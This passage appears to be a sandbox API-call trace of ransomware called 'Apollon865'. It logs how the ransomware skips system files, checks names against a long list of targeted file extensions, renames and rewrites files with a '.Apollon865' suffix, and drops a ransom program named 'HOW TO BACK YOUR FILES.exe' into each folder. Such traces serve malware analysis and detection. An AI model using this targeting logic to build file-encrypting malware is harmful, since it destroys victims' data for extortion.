	[0078.883] lstrcmpiW (lpString1="Setup.xml", lpString2="temp") returned -1
	[0078.883] lstrcmpiW (lpString1="Setup.xml", lpString2="pagefile.sys") returned 1
	[0078.883] lstrcmpiW (lpString1="Setup.xml", lpString2="boot") returned 1
	[0078.883] lstrcmpiW (lpString1="Setup.xml", lpString2="ids.txt") returned 1
	[0078.883] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1
	[0078.883] lstrcmpiW (lpString1="Setup.xml", lpString2="perflogs") returned 1
	[0078.883] lstrcmpiW (lpString1="Setup.xml", lpString2="MSBuild") returned 1
	[0078.883] lstrlenW (lpString="Setup.xml") returned 9
	[0078.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75
	[0078.883] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml"
	[0078.883] lstrlenW (lpString="Setup.xml") returned 9
	[0078.883] lstrlenW (lpString="Apollon865") returned 10
	[0078.884] lstrlenW (lpString=".dll") returned 4
	[0078.884] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1
	[0078.884] lstrlenW (lpString=".lnk") returned 4
	[0078.884] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1
	[0078.884] lstrlenW (lpString=".ini") returned 4
	[0078.884] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1
	[0078.884] lstrlenW (lpString=".sys") returned 4
	[0078.884] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1
	[0078.884] lstrlenW (lpString="Setup.xml") returned 9
	[0078.884] lstrlenW (lpString="bak") returned 3
	[0078.884] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0078.884] lstrlenW (lpString="ba_") returned 3
	[0078.884] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0078.884] lstrlenW (lpString="dbb") returned 3
	[0078.884] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0078.884] lstrlenW (lpString="vmdk") returned 4
	[0078.884] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0078.884] lstrlenW (lpString="rar") returned 3
	[0078.884] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0078.884] lstrlenW (lpString="zip") returned 3
	[0078.884] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0078.884] lstrlenW (lpString="tgz") returned 3
	[0078.884] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0078.884] lstrlenW (lpString="vbox") returned 4
	[0078.884] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0078.884] lstrlenW (lpString="vdi") returned 3
	[0078.884] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0078.884] lstrlenW (lpString="vhd") returned 3
	[0078.884] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0078.884] lstrlenW (lpString="vhdx") returned 4
	[0078.884] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0078.884] lstrlenW (lpString="avhd") returned 4
	[0078.884] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0078.884] lstrlenW (lpString="db") returned 2
	[0078.884] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0078.884] lstrlenW (lpString="db2") returned 3
	[0078.884] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0078.884] lstrlenW (lpString="db3") returned 3
	[0078.885] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0078.885] lstrlenW (lpString="dbf") returned 3
	[0078.885] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0078.885] lstrlenW (lpString="mdf") returned 3
	[0078.885] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0078.885] lstrlenW (lpString="mdb") returned 3
	[0078.885] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0078.885] lstrlenW (lpString="sql") returned 3
	[0078.885] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0078.885] lstrlenW (lpString="sqlite") returned 6
	[0078.885] lstrcmpiW (lpString1="up.xml", lpString2="sqlite") returned 1
	[0078.885] lstrlenW (lpString="sqlite3") returned 7
	[0078.885] lstrcmpiW (lpString1="tup.xml", lpString2="sqlite3") returned 1
	[0078.885] lstrlenW (lpString="sqlitedb") returned 8
	[0078.885] lstrcmpiW (lpString1="etup.xml", lpString2="sqlitedb") returned -1
	[0078.885] lstrlenW (lpString="xml") returned 3
	[0078.885] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0078.885] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865") returned 83
	[0078.885] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0078.886] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x10c
	[0078.886] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=5884) returned 1
	[0078.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf810
	[0078.886] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfa30) returned 1
	[0078.887] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0078.887] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.887] CreateFileMappingW (hFile=0x10c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a00, lpName=0x0) returned 0xc0
	[0078.889] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a00) returned 0x100000
	[0078.890] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfa30) returned 1
	[0078.890] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0078.891] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.891] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.891] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0078.891] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.891] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0078.891] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.891] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.891] CloseHandle (hObject=0xc0) returned 1
	[0078.891] CloseHandle (hObject=0x10c) returned 1
	[0078.891] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.891] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf810 | out: hHeap=0x580000) returned 1
	[0078.891] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.892] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
	[0078.892] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0078.892] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc30
	[0078.892] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr", iMaxLength=260 | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr"
	[0078.892] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3338 | out: hHeap=0x580000) returned 1
	[0078.892] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0078.892] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr") returned 71
	[0078.892] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr"
	[0078.892] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0078.892] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0078.895] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0078.896] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x47197d50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x47197d50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0078.896] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.896] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0078.896] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0078.896] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x47197d50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x47197d50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.896] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.896] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0078.896] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0078.896] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0078.896] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x47197d50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x47197d50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0078.896] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0078.896] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1
	[0078.896] lstrcmpiW (lpString1="Proof.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.896] lstrcmpiW (lpString1="Proof.cab", lpString2="Apollon865.txt.exe") returned 1
	[0078.896] lstrcmpiW (lpString1="Proof.cab", lpString2=".") returned 1
	[0078.896] lstrcmpiW (lpString1="Proof.cab", lpString2="..") returned 1
	[0078.896] lstrcmpiW (lpString1="Proof.cab", lpString2="windows") returned -1
	[0078.896] lstrcmpiW (lpString1="Proof.cab", lpString2="bootmgr") returned 1
	[0078.896] lstrcmpiW (lpString1="Proof.cab", lpString2="temp") returned -1
	[0078.896] lstrcmpiW (lpString1="Proof.cab", lpString2="pagefile.sys") returned 1
	[0078.896] lstrcmpiW (lpString1="Proof.cab", lpString2="boot") returned 1
	[0078.896] lstrcmpiW (lpString1="Proof.cab", lpString2="ids.txt") returned 1
	[0078.896] lstrcmpiW (lpString1="Proof.cab", lpString2="ntuser.dat") returned 1
	[0078.896] lstrcmpiW (lpString1="Proof.cab", lpString2="perflogs") returned 1
	[0078.896] lstrcmpiW (lpString1="Proof.cab", lpString2="MSBuild") returned 1
	[0078.896] lstrlenW (lpString="Proof.cab") returned 9
	[0078.896] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*") returned 73
	[0078.896] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Proof.cab" | out: lpString1="Proof.cab") returned="Proof.cab"
	[0078.896] lstrlenW (lpString="Proof.cab") returned 9
	[0078.896] lstrlenW (lpString="Apollon865") returned 10
	[0078.896] lstrlenW (lpString=".dll") returned 4
	[0078.897] lstrcmpiW (lpString1="Proof.cab", lpString2=".dll") returned 1
	[0078.897] lstrlenW (lpString=".lnk") returned 4
	[0078.897] lstrcmpiW (lpString1="Proof.cab", lpString2=".lnk") returned 1
	[0078.897] lstrlenW (lpString=".ini") returned 4
	[0078.897] lstrcmpiW (lpString1="Proof.cab", lpString2=".ini") returned 1
	[0078.897] lstrlenW (lpString=".sys") returned 4
	[0078.897] lstrcmpiW (lpString1="Proof.cab", lpString2=".sys") returned 1
	[0078.897] lstrlenW (lpString="Proof.cab") returned 9
	[0078.897] lstrlenW (lpString="bak") returned 3
	[0078.897] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0078.897] lstrlenW (lpString="ba_") returned 3
	[0078.897] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0078.897] lstrlenW (lpString="dbb") returned 3
	[0078.897] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0078.897] lstrlenW (lpString="vmdk") returned 4
	[0078.897] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0078.897] lstrlenW (lpString="rar") returned 3
	[0078.897] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0078.897] lstrlenW (lpString="zip") returned 3
	[0078.897] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0078.897] lstrlenW (lpString="tgz") returned 3
	[0078.897] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0078.897] lstrlenW (lpString="vbox") returned 4
	[0078.897] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0078.897] lstrlenW (lpString="vdi") returned 3
	[0078.897] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0078.897] lstrlenW (lpString="vhd") returned 3
	[0078.897] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0078.897] lstrlenW (lpString="vhdx") returned 4
	[0078.897] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0078.897] lstrlenW (lpString="avhd") returned 4
	[0078.897] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0078.897] lstrlenW (lpString="db") returned 2
	[0078.897] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0078.897] lstrlenW (lpString="db2") returned 3
	[0078.897] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0078.897] lstrlenW (lpString="db3") returned 3
	[0078.898] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0078.898] lstrlenW (lpString="dbf") returned 3
	[0078.898] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0078.898] lstrlenW (lpString="mdf") returned 3
	[0078.898] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0078.898] lstrlenW (lpString="mdb") returned 3
	[0078.898] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0078.898] lstrlenW (lpString="sql") returned 3
	[0078.898] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0078.898] lstrlenW (lpString="sqlite") returned 6
	[0078.898] lstrcmpiW (lpString1="of.cab", lpString2="sqlite") returned -1
	[0078.898] lstrlenW (lpString="sqlite3") returned 7
	[0078.898] lstrcmpiW (lpString1="oof.cab", lpString2="sqlite3") returned -1
	[0078.898] lstrlenW (lpString="sqlitedb") returned 8
	[0078.898] lstrcmpiW (lpString1="roof.cab", lpString2="sqlitedb") returned -1
	[0078.898] lstrlenW (lpString="xml") returned 3
	[0078.898] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0078.898] lstrlenW (lpString="$er") returned 3
	[0078.898] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0078.898] lstrlenW (lpString="4dd") returned 3
	[0078.898] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0078.898] lstrlenW (lpString="4dl") returned 3
	[0078.898] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0078.898] lstrlenW (lpString="^^^") returned 3
	[0078.898] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0078.898] lstrlenW (lpString="abs") returned 3
	[0078.898] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0078.898] lstrlenW (lpString="abx") returned 3
	[0078.898] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0078.898] lstrlenW (lpString="accdb") returned 5
	[0078.898] lstrcmpiW (lpString1="f.cab", lpString2="accdb") returned 1
	[0078.898] lstrlenW (lpString="accdc") returned 5
	[0078.898] lstrcmpiW (lpString1="f.cab", lpString2="accdc") returned 1
	[0078.898] lstrlenW (lpString="accde") returned 5
	[0078.898] lstrcmpiW (lpString1="f.cab", lpString2="accde") returned 1
	[0078.898] lstrlenW (lpString="accdr") returned 5
	[0078.898] lstrcmpiW (lpString1="f.cab", lpString2="accdr") returned 1
	[0078.899] lstrlenW (lpString="accdt") returned 5
	[0078.899] lstrcmpiW (lpString1="f.cab", lpString2="accdt") returned 1
	[0078.899] lstrlenW (lpString="accdw") returned 5
	[0078.899] lstrcmpiW (lpString1="f.cab", lpString2="accdw") returned 1
	[0078.899] lstrlenW (lpString="accft") returned 5
	[0078.899] lstrcmpiW (lpString1="f.cab", lpString2="accft") returned 1
	[0078.899] lstrlenW (lpString="adb") returned 3
	[0078.899] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0078.899] lstrlenW (lpString="adb") returned 3
	[0078.899] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0078.899] lstrlenW (lpString="ade") returned 3
	[0078.899] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0078.899] lstrlenW (lpString="adf") returned 3
	[0078.899] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0078.899] lstrlenW (lpString="adn") returned 3
	[0078.899] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1
	[0078.899] lstrlenW (lpString="adp") returned 3
	[0078.899] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1
	[0078.899] lstrlenW (lpString="alf") returned 3
	[0078.899] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1
	[0078.899] lstrlenW (lpString="ask") returned 3
	[0078.899] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1
	[0078.899] lstrlenW (lpString="btr") returned 3
	[0078.899] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1
	[0078.899] lstrlenW (lpString="cat") returned 3
	[0078.899] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1
	[0078.899] lstrlenW (lpString="cdb") returned 3
	[0078.899] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1
	[0078.899] lstrlenW (lpString="ckp") returned 3
	[0078.899] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1
	[0078.899] lstrlenW (lpString="cma") returned 3
	[0078.899] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1
	[0078.899] lstrlenW (lpString="cpd") returned 3
	[0078.899] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1
	[0078.899] lstrlenW (lpString="dacpac") returned 6
	[0078.899] lstrcmpiW (lpString1="of.cab", lpString2="dacpac") returned 1
	[0078.899] lstrlenW (lpString="dad") returned 3
	[0078.899] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1
	[0078.899] lstrlenW (lpString="dadiagrams") returned 10
	[0078.900] lstrlenW (lpString="daschema") returned 8
	[0078.900] lstrcmpiW (lpString1="roof.cab", lpString2="daschema") returned 1
	[0078.900] lstrlenW (lpString="db-journal") returned 10
	[0078.900] lstrlenW (lpString="db-shm") returned 6
	[0078.900] lstrcmpiW (lpString1="of.cab", lpString2="db-shm") returned 1
	[0078.900] lstrlenW (lpString="db-wal") returned 6
	[0078.900] lstrcmpiW (lpString1="of.cab", lpString2="db-wal") returned 1
	[0078.900] lstrlenW (lpString="dbc") returned 3
	[0078.900] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1
	[0078.900] lstrlenW (lpString="dbs") returned 3
	[0078.900] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1
	[0078.900] lstrlenW (lpString="dbt") returned 3
	[0078.900] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1
	[0078.900] lstrlenW (lpString="dbv") returned 3
	[0078.900] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1
	[0078.900] lstrlenW (lpString="dbx") returned 3
	[0078.900] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1
	[0078.900] lstrlenW (lpString="dcb") returned 3
	[0078.900] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1
	[0078.900] lstrlenW (lpString="dct") returned 3
	[0078.900] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1
	[0078.900] lstrlenW (lpString="dcx") returned 3
	[0078.900] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1
	[0078.900] lstrlenW (lpString="ddl") returned 3
	[0078.900] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1
	[0078.900] lstrlenW (lpString="dlis") returned 4
	[0078.900] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1
	[0078.900] lstrlenW (lpString="dp1") returned 3
	[0078.900] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1
	[0078.900] lstrlenW (lpString="dqy") returned 3
	[0078.900] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1
	[0078.900] lstrlenW (lpString="dsk") returned 3
	[0078.900] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1
	[0078.900] lstrlenW (lpString="dsn") returned 3
	[0078.900] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1
	[0078.900] lstrlenW (lpString="dtsx") returned 4
	[0078.900] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1
	[0078.900] lstrlenW (lpString="dxl") returned 3
	[0078.901] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1
	[0078.901] lstrlenW (lpString="eco") returned 3
	[0078.901] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1
	[0078.901] lstrlenW (lpString="ecx") returned 3
	[0078.901] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1
	[0078.901] lstrlenW (lpString="edb") returned 3
	[0078.901] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1
	[0078.901] lstrlenW (lpString="epim") returned 4
	[0078.901] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1
	[0078.901] lstrlenW (lpString="fcd") returned 3
	[0078.901] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1
	[0078.901] lstrlenW (lpString="fdb") returned 3
	[0078.901] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1
	[0078.901] lstrlenW (lpString="fic") returned 3
	[0078.901] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1
	[0078.901] lstrlenW (lpString="flexolibrary") returned 12
	[0078.901] lstrlenW (lpString="fm5") returned 3
	[0078.901] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1
	[0078.901] lstrlenW (lpString="fmp") returned 3
	[0078.901] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1
	[0078.901] lstrlenW (lpString="fmp12") returned 5
	[0078.901] lstrcmpiW (lpString1="f.cab", lpString2="fmp12") returned -1
	[0078.901] lstrlenW (lpString="fmpsl") returned 5
	[0078.901] lstrcmpiW (lpString1="f.cab", lpString2="fmpsl") returned -1
	[0078.901] lstrlenW (lpString="fol") returned 3
	[0078.901] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1
	[0078.901] lstrlenW (lpString="fp3") returned 3
	[0078.901] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1
	[0078.901] lstrlenW (lpString="fp4") returned 3
	[0078.901] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1
	[0078.901] lstrlenW (lpString="fp5") returned 3
	[0078.901] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1
	[0078.901] lstrlenW (lpString="fp7") returned 3
	[0078.901] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1
	[0078.901] lstrlenW (lpString="fpt") returned 3
	[0078.901] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1
	[0078.901] lstrlenW (lpString="frm") returned 3
	[0078.902] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1
	[0078.902] lstrlenW (lpString="gdb") returned 3
	[0078.902] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0078.902] lstrlenW (lpString="gdb") returned 3
	[0078.902] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
